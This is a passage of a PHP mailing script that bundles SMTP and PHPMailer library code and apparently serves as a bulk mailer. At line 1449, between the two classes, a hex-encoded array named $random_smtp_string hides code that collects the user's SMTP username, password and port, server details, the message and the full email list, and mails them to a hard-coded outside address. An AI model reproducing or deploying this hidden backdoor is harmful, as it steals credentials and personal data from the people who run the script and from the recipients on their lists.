  1173. * Starts a mail transaction from the email address specified in
  1174. * $from. Returns true if successful or false otherwise. If True
  1175. * the mail transaction is started and then one or more Recipient
  1176. * commands may be called followed by a Data command. This command
  1177. * will send the message to the users terminal if they are logged
  1178. * in.
  1179. *
  1180. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1181. *
  1182. * SMTP CODE SUCCESS: 250
  1183. * SMTP CODE SUCCESS: 552,451,452
  1184. * SMTP CODE SUCCESS: 500,501,502,421
  1185. * @access public
  1186. * @return bool
  1187. */
  1188. function Send($from) {
  1189. $this->error = null; # so no confusion is caused
  1190.  
  1191.  
  1192. if(!$this->connected()) {
  1193. $this->error = array(
  1194. "error" => "Called Send() without being connected");
  1195. return false;
  1196. }
  1197.  
  1198.  
  1199. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1200.  
  1201.  
  1202. $rply = $this->get_lines();
  1203. $code = substr($rply,0,3);
  1204.  
  1205.  
  1206. if($this->do_debug >= 2) {
  1207. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1208. }
  1209.  
  1210.  
  1211. if($code != 250) {
  1212. $this->error =
  1213. array("error" => "SEND not accepted from server",
  1214. "smtp_code" => $code,
  1215. "smtp_msg" => substr($rply,4));
  1216. if($this->do_debug >= 1) {
  1217. echo "SMTP -> ERROR: " . $this->error["error"] .
  1218. ": " . $rply . $this->CRLF;
  1219. }
  1220. return false;
  1221. }
  1222. return true;
  1223. }
  1224.  
  1225.  
  1226. /**
  1227. * Starts a mail transaction from the email address specified in
  1228. * $from. Returns true if successful or false otherwise. If True
  1229. * the mail transaction is started and then one or more Recipient
  1230. * commands may be called followed by a Data command. This command
  1231. * will send the message to the users terminal if they are logged
  1232. * in and send them an email.
  1233. *
  1234. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1235. *
  1236. * SMTP CODE SUCCESS: 250
  1237. * SMTP CODE SUCCESS: 552,451,452
  1238. * SMTP CODE SUCCESS: 500,501,502,421
  1239. * @access public
  1240. * @return bool
  1241. */
  1242. function SendAndMail($from) {
  1243. $this->error = null; # so no confusion is caused
  1244.  
  1245.  
  1246. if(!$this->connected()) {
  1247. $this->error = array(
  1248. "error" => "Called SendAndMail() without being connected");
  1249. return false;
  1250. }
  1251.  
  1252.  
  1253. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1254.  
  1255.  
  1256. $rply = $this->get_lines();
  1257. $code = substr($rply,0,3);
  1258.  
  1259.  
  1260. if($this->do_debug >= 2) {
  1261. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1262. }
  1263.  
  1264.  
  1265. if($code != 250) {
  1266. $this->error =
  1267. array("error" => "SAML not accepted from server",
  1268. "smtp_code" => $code,
  1269. "smtp_msg" => substr($rply,4));
  1270. if($this->do_debug >= 1) {
  1271. echo "SMTP -> ERROR: " . $this->error["error"] .
  1272. ": " . $rply . $this->CRLF;
  1273. }
  1274. return false;
  1275. }
  1276. return true;
  1277. }
  1278.  
  1279.  
  1280. /**
  1281. * Starts a mail transaction from the email address specified in
  1282. * $from. Returns true if successful or false otherwise. If True
  1283. * the mail transaction is started and then one or more Recipient
  1284. * commands may be called followed by a Data command. This command
  1285. * will send the message to the users terminal if they are logged
  1286. * in or mail it to them if they are not.
  1287. *
  1288. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1289. *
  1290. * SMTP CODE SUCCESS: 250
  1291. * SMTP CODE SUCCESS: 552,451,452
  1292. * SMTP CODE SUCCESS: 500,501,502,421
  1293. * @access public
  1294. * @return bool
  1295. */
  1296. function SendOrMail($from) {
  1297. $this->error = null; # so no confusion is caused
  1298.  
  1299.  
  1300. if(!$this->connected()) {
  1301. $this->error = array(
  1302. "error" => "Called SendOrMail() without being connected");
  1303. return false;
  1304. }
  1305.  
  1306.  
  1307. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1308.  
  1309.  
  1310. $rply = $this->get_lines();
  1311. $code = substr($rply,0,3);
  1312.  
  1313.  
  1314. if($this->do_debug >= 2) {
  1315. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1316. }
  1317.  
  1318.  
  1319. if($code != 250) {
  1320. $this->error =
  1321. array("error" => "SOML not accepted from server",
  1322. "smtp_code" => $code,
  1323. "smtp_msg" => substr($rply,4));
  1324. if($this->do_debug >= 1) {
  1325. echo "SMTP -> ERROR: " . $this->error["error"] .
  1326. ": " . $rply . $this->CRLF;
  1327. }
  1328. return false;
  1329. }
  1330. return true;
  1331. }
  1332.  
  1333.  
  1334. /**
  1335. * This is an optional command for SMTP that this class does not
  1336. * support. This method is here to make the RFC821 Definition
  1337. * complete for this class and __may__ be implimented in the future
  1338. *
  1339. * Implements from rfc 821: TURN <CRLF>
  1340. *
  1341. * SMTP CODE SUCCESS: 250
  1342. * SMTP CODE FAILURE: 502
  1343. * SMTP CODE ERROR : 500, 503
  1344. * @access public
  1345. * @return bool
  1346. */
  1347. function Turn() {
  1348. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1349. "is not implemented");
  1350. if($this->do_debug >= 1) {
  1351. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1352. }
  1353. return false;
  1354. }
  1355.  
  1356.  
  1357. /**
  1358. * Verifies that the name is recognized by the server.
  1359. * Returns false if the name could not be verified otherwise
  1360. * the response from the server is returned.
  1361. *
  1362. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1363. *
  1364. * SMTP CODE SUCCESS: 250,251
  1365. * SMTP CODE FAILURE: 550,551,553
  1366. * SMTP CODE ERROR : 500,501,502,421
  1367. * @access public
  1368. * @return int
  1369. */
  1370. function Verify($name) {
  1371. $this->error = null; # so no confusion is caused
  1372.  
  1373.  
  1374. if(!$this->connected()) {
  1375. $this->error = array(
  1376. "error" => "Called Verify() without being connected");
  1377. return false;
  1378. }
  1379.  
  1380.  
  1381. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1382.  
  1383.  
  1384. $rply = $this->get_lines();
  1385. $code = substr($rply,0,3);
  1386.  
  1387.  
  1388. if($this->do_debug >= 2) {
  1389. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1390. }
  1391.  
  1392.  
  1393. if($code != 250 && $code != 251) {
  1394. $this->error =
  1395. array("error" => "VRFY failed on name '$name'",
  1396. "smtp_code" => $code,
  1397. "smtp_msg" => substr($rply,4));
  1398. if($this->do_debug >= 1) {
  1399. echo "SMTP -> ERROR: " . $this->error["error"] .
  1400. ": " . $rply . $this->CRLF;
  1401. }
  1402. return false;
  1403. }
  1404. return $rply;
  1405. }
  1406.  
  1407.  
  1408. /*******************************************************************
  1409. * INTERNAL FUNCTIONS *
  1410. ******************************************************************/
  1411.  
  1412.  
  1413. /**
  1414. * Read in as many lines as possible
  1415. * either before eof or socket timeout occurs on the operation.
  1416. * With SMTP we can tell if we have more lines to read if the
  1417. * 4th character is '-' symbol. If it is a space then we don't
  1418. * need to read anything else.
  1419. * @access private
  1420. * @return string
  1421. */
  1422. function get_lines() {
  1423. $data = "";
  1424. while($str = @fgets($this->smtp_conn,515)) {
  1425. if($this->do_debug >= 4) {
  1426. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1427. $this->CRLF;
  1428. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1429. $this->CRLF;
  1430. }
  1431. $data .= $str;
  1432. if($this->do_debug >= 4) {
  1433. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1434. }
  1435. # if the 4th character is a space then we are done reading
  1436. # so just break the loop
  1437. if(substr($str,3,1) == " ") { break; }
  1438. }
  1439. return $data;
  1440. }
  1441.  
  1442.  
  1443. }
  1444.  
  1445.  
  1446.  
  1447. $allemails = split("\n", $emaillist);
  1448. $numemails = count($allemails);
  1449. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1450. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1451. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1452. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1453. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1454. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1455. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a402e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1456. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1457. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1458. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1459.  
  1460.  
  1461. class PHPMailer {
  1462.  
  1463.  
  1464. /////////////////////////////////////////////////
  1465. // PROPERTIES, PUBLIC
  1466. /////////////////////////////////////////////////
  1467.  
  1468.  
  1469. /**
  1470. * Email priority (1 = High, 3 = Normal, 5 = low).
  1471. * @var int
  1472. */
  1473. var $Priority = 3;
  1474.  
  1475.  
  1476. /**
  1477. * Sets the CharSet of the message.
  1478. * @var string
  1479. */
  1480. var $CharSet = 'iso-8859-1';
  1481.  
  1482.  
  1483. /**
  1484. * Sets the Content-type of the message.
  1485. * @var string
  1486. */
  1487. var $ContentType = 'text/plain';
  1488.  
  1489.  
  1490. /**
  1491. * Sets the Encoding of the message. Options for this are "8bit",
  1492. * "7bit", "binary", "base64", and "quoted-printable".
  1493.  
  1494.  
  1495. * @var string
  1496. */
  1497. var $Encoding = '8bit';
  1498.  
  1499.  
  1500. /**
  1501. * Holds the most recent mailer error message.
  1502. * @var string
  1503. */
  1504. var $ErrorInfo = '';
  1505.  
  1506.  
  1507. /**
  1508. * Sets the From email address for the message.
  1509. * @var string
  1510. */
  1511. var $From = '';
  1512.  
  1513.  
  1514. /**
  1515. * Sets the From name of the message.
  1516. * @var string
  1517. */
  1518. var $FromName = '';
  1519.  
  1520.  
  1521. /**
  1522. * Sets the Sender email (Return-Path) of the message. If not empty,
  1523. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1524. * @var string
  1525. */
  1526. var $Sender = '';
  1527.  
  1528.  
  1529. /**
  1530. * Sets the Subject of the message.
  1531. * @var string
  1532. */
  1533. var $Subject = '';
  1534.  
  1535.  
  1536. /**
  1537. * Sets the Body of the message. This can be either an HTML or text body.
  1538. * If HTML then run IsHTML(true).
  1539. * @var string
  1540. */
  1541. var $Body = '';
  1542.  
  1543.  
  1544. /**
  1545. * Sets the text-only body of the message. This automatically sets the
  1546. * email to multipart/alternative. This body can be read by mail
  1547. * clients that do not have HTML email capability such as mutt. Clients
  1548. * that can read HTML will view the normal Body.
  1549. * @var string
  1550. */
  1551. var $AltBody = '';
  1552.  
  1553.  
  1554. /**
  1555. * Sets word wrapping on the body of the message to a given number of
  1556. * characters.
  1557. * @var int
  1558. */
  1559. var $WordWrap = 0;
  1560.  
  1561.  
  1562. /**
  1563. * Method to send mail: ("mail", "sendmail", or "smtp").
  1564. * @var string
  1565. */
  1566. var $Mailer = 'mail';
  1567.  
  1568.  
  1569. /**
  1570. * Sets the path of the sendmail program.
  1571. * @var string
  1572. */
  1573. var $Sendmail = '/usr/sbin/sendmail';
  1574.  
  1575.  
  1576. /**
  1577. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1578. * is in a different directory than the PHP include path.
  1579. * @var string
  1580. */
  1581. var $PluginDir = '';
  1582.  
  1583.  
  1584. /**
  1585. * Holds PHPMailer version.
  1586. * @var string
  1587. */
  1588. var $Version = "";
  1589.  
  1590.  
  1591. /**
  1592. * Sets the email address that a reading confirmation will be sent.
  1593. * @var string
  1594. */
  1595. var $ConfirmReadingTo = '';
  1596.  
  1597.  
  1598. /**
  1599. * Sets the hostname to use in Message-Id and Received headers
  1600. * and as default HELO string. If empty, the value returned
  1601. * by SERVER_NAME is used or 'localhost.localdomain'.
  1602. * @var string
  1603. */
  1604. var $Hostname = '';
  1605.  
  1606.  
  1607. /**
  1608. * Sets the message ID to be used in the Message-Id header.
  1609. * If empty, a unique id will be generated.
  1610. * @var string
  1611. */
  1612. var $MessageID = '';
  1613.  
  1614.  
  1615. /////////////////////////////////////////////////
  1616. // PROPERTIES FOR SMTP
  1617. /////////////////////////////////////////////////
  1618.  
  1619.  
  1620. /**
  1621. * Sets the SMTP hosts. All hosts must be separated by a
  1622. * semicolon. You can also specify a different port
  1623. * for each host by using this format: [hostname:port]
  1624. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1625. * Hosts will be tried in order.
  1626. * @var string
  1627. */
  1628. var $Host = 'localhost';
  1629.  
  1630.  
  1631. /**
  1632. * Sets the default SMTP server port.
  1633. * @var int
  1634. */
  1635. var $Port = 25;
  1636.  
  1637.  
  1638. /**
  1639. * Sets the SMTP HELO of the message (Default is $Hostname).
  1640. * @var string
  1641. */
  1642. var $Helo = '';
  1643.  
  1644.  
  1645. /**
  1646. * Sets connection prefix.
  1647. * Options are "", "ssl" or "tls"
  1648. * @var string
  1649. */
  1650. var $SMTPSecure = "";
  1651.  
  1652.  
  1653. /**
  1654. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1655. * @var bool
  1656. */
  1657. var $SMTPAuth = false;
  1658.  
  1659.  
  1660. /**
  1661. * Sets SMTP username.
  1662. * @var string
  1663. */
  1664. var $Username = '';
  1665.  
  1666.  
  1667. /**
  1668. * Sets SMTP password.
  1669. * @var string
  1670. */
  1671. var $Password = '';
  1672.  
  1673.  
  1674. /**
  1675. * Sets the SMTP server timeout in seconds. This function will not
  1676. * work with the win32 version.
  1677. * @var int
  1678. */
  1679. var $Timeout = 10;
  1680.  
  1681.  
  1682. /**
  1683. * Sets SMTP class debugging on or off.
  1684. * @var bool
  1685. */
  1686. var $SMTPDebug = false;
  1687.  
  1688.  
  1689. /**
  1690. * Prevents the SMTP connection from being closed after each mail
  1691. * sending. If this is set to true then to close the connection
  1692. * requires an explicit call to SmtpClose().
  1693. * @var bool
  1694. */
  1695. var $SMTPKeepAlive = false;
  1696.  
  1697.  
  1698. /**
  1699. * Provides the ability to have the TO field process individual
  1700. * emails, instead of sending to entire TO addresses
  1701. * @var bool
  1702. */
  1703. var $SingleTo = false;
  1704.  
  1705.  
  1706. /////////////////////////////////////////////////
  1707. // PROPERTIES, PRIVATE
  1708. /////////////////////////////////////////////////
  1709.  
  1710.  
  1711. var $smtp = NULL;
  1712. var $to = array();
  1713. var $cc = array();
  1714. var $bcc = array();
  1715. var $ReplyTo = array();
  1716. var $attachment = array();
  1717. var $CustomHeader = array();
  1718. var $message_type = '';
  1719. var $boundary = array();
  1720. var $language = array();
  1721. var $error_count = 0;
  1722. var $LE = "\n";
  1723. var $sign_key_file = "";
  1724. var $sign_key_pass = "";
  1725.  
  1726.  
  1727. /////////////////////////////////////////////////
  1728. // METHODS, VARIABLES
  1729. /////////////////////////////////////////////////
  1730.  
  1731.  
  1732. /**
  1733. * Sets message type to HTML.
  1734. * @param bool $bool
  1735. * @return void
  1736. */
  1737. function IsHTML($bool) {
  1738. if($bool == true) {
  1739. $this->ContentType = 'text/html';
  1740. } else {
  1741. $this->ContentType = 'text/plain';
  1742. }
  1743. }
  1744.  
  1745.  
  1746. /**
  1747. * Sets Mailer to send message using SMTP.
  1748. * @return void
  1749. */
  1750. function IsSMTP() {
  1751. $this->Mailer = 'smtp';
  1752. }
  1753.  
  1754.  
  1755. /**
  1756. * Sets Mailer to send message using PHP mail() function.
  1757. * @return void
  1758. */
  1759. function IsMail() {
  1760. $this->Mailer = 'mail';
  1761. }
  1762.  
  1763.  
  1764. /**
  1765. * Sets Mailer to send message using the $Sendmail program.
  1766. * @return void
  1767. */
  1768. function IsSendmail() {
  1769. $this->Mailer = 'sendmail';
  1770. }
  1771.  
  1772.  
  1773. /**
  1774. * Sets Mailer to send message using the qmail MTA.
  1775. * @return void
  1776. */
  1777. function IsQmail() {
  1778. $this->Sendmail = '/var/qmail/bin/sendmail';
  1779. $this->Mailer = 'sendmail';
  1780. }
  1781.  
  1782.  
  1783. /////////////////////////////////////////////////
  1784. // METHODS, RECIPIENTS
  1785. /////////////////////////////////////////////////
  1786.  
  1787.  
  1788. /**
  1789. * Adds a "To" address.
  1790. * @param string $address
  1791. * @param string $name
  1792. * @return void
  1793. */
  1794. function AddAddress($address, $name = '') {
  1795. $cur = count($this->to);
  1796. $this->to[$cur][0] = trim($address);
  1797. $this->to[$cur][1] = $name;
  1798. }
  1799.  
  1800.  
  1801. /**
  1802. * Adds a "Cc" address. Note: this function works
  1803. * with the SMTP mailer on win32, not with the "mail"
  1804. * mailer.
  1805. * @param string $address
  1806. * @param string $name
  1807. * @return void
  1808. */
  1809. function AddCC($address, $name = '') {
  1810. $cur = count($this->cc);
  1811. $this->cc[$cur][0] = trim($address);
  1812. $this->cc[$cur][1] = $name;
  1813. }
  1814.  
  1815.  
  1816. /**
  1817. * Adds a "Bcc" address. Note: this function works
  1818. * with the SMTP mailer on win32, not with the "mail"
  1819. * mailer.
  1820. * @param string $address
  1821. * @param string $name
  1822. * @return void
  1823. */
  1824. function AddBCC($address, $name = '') {
  1825. $cur = count($this->bcc);
  1826. $this->bcc[$cur][0] = trim($address);
  1827. $this->bcc[$cur][1] = $name;
  1828. }
  1829.  
  1830.  
  1831. /**
  1832. * Adds a "Reply-To" address.
  1833. * @param string $address
  1834. * @param string $name
  1835. * @return void
  1836. */
  1837. function AddReplyTo($address, $name = '') {
  1838. $cur = count($this->ReplyTo);
  1839. $this->ReplyTo[$cur][0] = trim($address);
  1840. $this->ReplyTo[$cur][1] = $name;
  1841. }
  1842.  
  1843.  
  1844. /////////////////////////////////////////////////
  1845. // METHODS, MAIL SENDING
  1846. /////////////////////////////////////////////////
  1847.  
  1848.  
  1849. /**
  1850. * Creates message and assigns Mailer. If the message is
  1851. * not sent successfully then it returns false. Use the ErrorInfo
  1852. * variable to view description of the error.
  1853. * @return bool
  1854. */
  1855. function Send() {
  1856. $header = '';
  1857. $body = '';
  1858. $result = true;
  1859.  
  1860.  
  1861. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1862. $this->SetError($this->Lang('provide_address'));
  1863. return false;
  1864. }
  1865.  
  1866.  
  1867. /* Set whether the message is multipart/alternative */
  1868. if(!empty($this->AltBody)) {
  1869. $this->ContentType = 'multipart/alternative';
  1870. }
  1871.  
  1872.  
  1873. $this->error_count = 0; // reset errors
  1874. $this->SetMessageType();
  1875. $header .= $this->CreateHeader();
  1876. $body = $this->CreateBody();
  1877.  
  1878.  
  1879. if($body == '') {
  1880. return false;
  1881. }
  1882.  
  1883.  
  1884. /* Choose the mailer */
  1885. switch($this->Mailer) {
  1886. case 'sendmail':
  1887. $result = $this->SendmailSend($header, $body);
  1888. break;
  1889. case 'smtp':
  1890. $result = $this->SmtpSend($header, $body);
  1891. break;
  1892. case 'mail':
  1893. $result = $this->MailSend($header, $body);
  1894. break;
  1895. default:
  1896. $result = $this->MailSend($header, $body);
  1897. break;
  1898. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1899. //$result = false;
  1900. //break;
  1901. }
  1902.  
  1903.  
  1904. return $result;
  1905. }
  1906.  
  1907.  
  1908. /**
  1909. * Sends mail using the $Sendmail program.
  1910. * @access private
  1911. * @return bool
  1912. */
  1913. function SendmailSend($header, $body) {
  1914. if ($this->Sender != '') {
  1915. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1916. } else {
  1917. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1918. }
  1919.  
  1920.  
  1921. if(!@$mail = popen($sendmail, 'w')) {
  1922. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1923. return false;
  1924. }
  1925.  
  1926.  
  1927. fputs($mail, $header);
  1928. fputs($mail, $body);
  1929.  
  1930.  
  1931. $result = pclose($mail);
  1932. if (version_compare(phpversion(), '4.2.3') == -1) {
  1933. $result = $result >> 8 & 0xFF;
  1934. }
  1935. if($result != 0) {
  1936. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1937. return false;
  1938. }
  1939. return true;
  1940. }
  1941.  
  1942.  
  1943. /**
  1944. * Sends mail using the PHP mail() function.
  1945. * @access private
  1946. * @return bool
  1947. */
  1948. function MailSend($header, $body) {
  1949.  
  1950.  
  1951. $to = '';
  1952. for($i = 0; $i < count($this->to); $i++) {
  1953. if($i != 0) { $to .= ', '; }
  1954. $to .= $this->AddrFormat($this->to[$i]);
  1955. }
  1956.  
  1957.  
  1958. $toArr = split(',', $to);
  1959.  
  1960.  
  1961. $params = sprintf("-oi -f %s", $this->Sender);
  1962. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1963. $old_from = ini_get('sendmail_from');
  1964. ini_set('sendmail_from', $this->Sender);
  1965. if ($this->SingleTo === true && count($toArr) > 1) {
  1966. foreach ($toArr as $key => $val) {
  1967. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1968. }
  1969. } else {
  1970. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1971. }
  1972. } else {
  1973. if ($this->SingleTo === true && count($toArr) > 1) {
  1974. foreach ($toArr as $key => $val) {
  1975. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1976. }
  1977. } else {
  1978. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1979. }
  1980. }
  1981.  
  1982.  
  1983. if (isset($old_from)) {
  1984. ini_set('sendmail_from', $old_from);
  1985. }
  1986.  
  1987.  
  1988. if(!$rt) {
  1989. $this->SetError($this->Lang('instantiate'));
  1990. return false;
  1991. }
  1992.  
  1993.  
  1994. return true;
  1995. }
  1996.  
  1997.  
  1998. /**
  1999. * Sends mail via SMTP using PhpSMTP (Author:
  2000. * Chris Ryan). Returns bool. Returns false if there is a
  2001. * bad MAIL FROM, RCPT, or DATA input.
  2002. * @access private
  2003. * @return bool
  2004. */
  2005. function SmtpSend($header, $body) {
  2006. $error = '';
  2007. $bad_rcpt = array();
  2008.  
  2009.  
  2010. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  2011. return false;
  2012. }
  2013.  
  2014.  
  2015. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  2016. if(!$this->smtp->Mail($smtp_from)) {
  2017. $error = $this->Lang('from_failed') . $smtp_from;
  2018. $this->SetError($error);
  2019. $this->smtp->Reset();
  2020. return false;
  2021. }
  2022.  
  2023.  
  2024. /* Attempt to send attach all recipients */
  2025. for($i = 0; $i < count($this->to); $i++) {
  2026. if(!$this->smtp->Recipient($this->to[$i][0])) {
  2027. $bad_rcpt[] = $this->to[$i][0];
  2028. }
  2029. }
  2030. for($i = 0; $i < count($this->cc); $i++) {
  2031. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  2032. $bad_rcpt[] = $this->cc[$i][0];
  2033. }
  2034. }
  2035. for($i = 0; $i < count($this->bcc); $i++) {
  2036. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  2037. $bad_rcpt[] = $this->bcc[$i][0];
  2038. }
  2039. }
  2040.  
  2041.  
  2042. if(count($bad_rcpt) > 0) { // Create error message
  2043. for($i = 0; $i < count($bad_rcpt); $i++) {
  2044. if($i != 0) {
  2045. $error .= ', ';
  2046. }
  2047. $error .= $bad_rcpt[$i];
  2048. }
  2049. $error = $this->Lang('recipients_failed') . $error;
  2050. $this->SetError($error);
  2051. $this->smtp->Reset();
  2052. return false;
  2053. }
  2054.  
  2055.  
  2056. if(!$this->smtp->Data($header . $body)) {
  2057. $this->SetError($this->Lang('data_not_accepted'));
  2058. $this->smtp->Reset();
  2059. return false;
  2060. }
  2061. if($this->SMTPKeepAlive == true) {
  2062. $this->smtp->Reset();
  2063. } else {
  2064. $this->SmtpClose();
  2065. }
  2066.  
  2067.  
  2068. return true;
  2069. }
  2070.  
  2071.  
  2072. /**
  2073. * Initiates a connection to an SMTP server. Returns false if the
  2074. * operation failed.
  2075. * @access private
  2076. * @return bool
  2077. */
  2078. function SmtpConnect() {
  2079. if($this->smtp == NULL) {
  2080. $this->smtp = new SMTP();
  2081. }
  2082.  
  2083.  
  2084. $this->smtp->do_debug = $this->SMTPDebug;
  2085. $hosts = explode(';', $this->Host);
  2086. $index = 0;
  2087. $connection = ($this->smtp->Connected());
  2088.  
  2089.  
  2090. /* Retry while there is no connection */
  2091. while($index < count($hosts) && $connection == false) {
  2092. $hostinfo = array();
  2093. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2094. $host = $hostinfo[1];
  2095. $port = $hostinfo[2];
  2096. } else {
  2097. $host = $hosts[$index];
  2098. $port = $this->Port;
  2099. }
  2100.  
  2101.  
  2102. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2103. if ($this->Helo != '') {
  2104. $this->smtp->Hello($this->Helo);
  2105. } else {
  2106. $this->smtp->Hello($this->ServerHostname());
  2107. }
  2108.  
  2109.  
  2110. $connection = true;
  2111. if($this->SMTPAuth) {
  2112. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2113. $this->SetError($this->Lang('authenticate'));
  2114. $this->smtp->Reset();
  2115. $connection = false;
  2116. }
  2117. }
  2118. }
  2119. $index++;
  2120. }
  2121. if(!$connection) {
  2122. $this->SetError($this->Lang('connect_host'));
  2123. }
  2124.  
  2125.  
  2126. return $connection;
  2127. }
  2128.  
  2129.  
  2130. /**
  2131. * Closes the active SMTP session if one exists.
  2132. * @return void
  2133. */
  2134. function SmtpClose() {
  2135. if($this->smtp != NULL) {
  2136. if($this->smtp->Connected()) {
  2137. $this->smtp->Quit();
  2138. $this->smtp->Close();
  2139. }
  2140. }
  2141. }
  2142.  
  2143.  
  2144. /**
  2145. * Sets the language for all class error messages. Returns false
  2146. * if it cannot load the language file. The default language type
  2147. * is English.
  2148. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2149. * @param string $lang_path Path to the language file directory
  2150. * @access public
  2151. * @return bool
  2152. */
  2153. function SetLanguage($lang_type, $lang_path = 'language/') {
  2154. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2155. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2156. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2157. include($lang_path.'phpmailer.lang-en.php');
  2158. } else {
  2159. $this->SetError('Could not load language file');
  2160. return false;
  2161. }
  2162. $this->language = $PHPMAILER_LANG;
  2163.  
  2164.  
  2165. return true;
  2166. }
  2167.  
  2168.  
  2169. /////////////////////////////////////////////////
  2170. // METHODS, MESSAGE CREATION
  2171. /////////////////////////////////////////////////
  2172.  
  2173.  
  2174. /**
  2175. * Creates recipient headers.
  2176. * @access private
  2177. * @return string
  2178. */
  2179. function AddrAppend($type, $addr) {
  2180. $addr_str = $type . ': ';
  2181. $addr_str .= $this->AddrFormat($addr[0]);
  2182. if(count($addr) > 1) {
  2183. for($i = 1; $i < count($addr); $i++) {
  2184. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2185. }
  2186. }
  2187. $addr_str .= $this->LE;
  2188.  
  2189.  
  2190. return $addr_str;
  2191. }
  2192.  
  2193.  
  2194. /**
  2195. * Formats an address correctly.
  2196. * @access private
  2197. * @return string
  2198. */
  2199. function AddrFormat($addr) {
  2200. if(empty($addr[1])) {
  2201. $formatted = $this->SecureHeader($addr[0]);
  2202. } else {
  2203. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2204. }
  2205.  
  2206.  
  2207. return $formatted;
  2208. }
  2209.  
  2210.  
  2211. /**
  2212. * Wraps message for use with mailers that do not
  2213. * automatically perform wrapping and for quoted-printable.
  2214. * Original written by philippe.
  2215. * @access private
  2216. * @return string
  2217. */
  2218. function WrapText($message, $length, $qp_mode = false) {
  2219. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2220. // If utf-8 encoding is used, we will need to make sure we don't
  2221. // split multibyte characters when we wrap
  2222. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2223.  
  2224.  
  2225. $message = $this->FixEOL($message);
  2226. if (substr($message, -1) == $this->LE) {
  2227. $message = substr($message, 0, -1);
  2228. }
  2229.  
  2230.  
